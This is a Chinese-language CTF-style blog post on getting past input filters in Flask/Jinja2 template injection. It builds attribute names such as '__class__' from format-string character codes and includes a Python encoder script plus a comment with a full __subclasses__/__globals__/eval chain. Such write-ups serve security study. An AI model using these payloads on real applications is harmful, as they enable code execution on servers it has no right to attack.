由于这篇文章只是想分享一个绕过的姿势,所以不会再从漏洞原理的层面赘言了,如果想学习ssti的话,已经有很多分析的很透彻的文章。
不过,还是需要讲一点前置的绕过姿势的。
Flask在渲染模板的时候,有
"".__class__===""["__class__"]
这一特性,把上下文变成了[]中的字符串,这个特性经常会被用来绕过点号的过滤。
由于里面的内容已经是字符串了,还可以做一个这样的变形
"".__class__===""["__cla"+"ss__"]
这个操作,经常用来绕过关键字的过滤。也是比较常见的。
那如果下划线也被过滤了呢?
这个也有办法解决
只要使用
|attr(request['args']['x1'])
就能把被过滤的内容带到外部的额外参数
那么 再进一步
如果|也过滤了呢?
接下来,进入文章正题。
python的字符串格式化允许指定ascii码为字符
如图:
))
如果放到flask里,就可以改写成
"{0:c}"["format][98]
构造一个
__class__ {{""['{0:c}'['format'](95)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](99)%2b'{0:c}'['format'](108)%2b'{0:c}'['format'](97)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](95)]}} //+号要编码
然后去buu开个flask靶机愉快地测试一下吧
之后的构造就是机械化的操作 这里就不多说了(懒狗发言
我简单写了个编码的脚本 又嫖了个解码的脚本
import re def product(poc): payload='' for chr in poc: model="'{0:c}'['format'](%d)"%ord(chr) payload+=model+'+' return payload[:-1] a = product('__builtins__').replace('+',"%2b") print(a) #{{''.__class__.__mro__[1].__subclasses__()[65].__init__.__globals__['__builtins__']['eval']}} def decode(payload): res = re.findall("\(\d+\)", payload) for i in res: print(chr(int(i[1:-1])), end = "") decode(a)
算是一种绕过的新思路
缺点嘛 就是长度爆炸+可读性极差
python的格式化字符方式不只这一种
你问我这个行不行? 那当然是行的 上图
再思考下,还有没有什么可能更好利用的东西呢?
有些对python的语言特性比较熟悉的同学,可能会一拍大腿脱口而出
f-string!
f-string可以把命令执行的结果格式化到字符串中
然而遗憾的是我没成功(tcl
本地开debug看了下 发现flask会把{}当作模板变量的标识符 直接当场去世
暂时没有找到解决的办法 应该是flask的模板渲染引擎本身没有支持这个特性
如果有师傅解决了可以交流一哈(试图白嫖
Python灵活的语言特性带来了很多灵活的姿势,我这篇文章只是抛砖引玉,希望能给师傅们更多的灵感。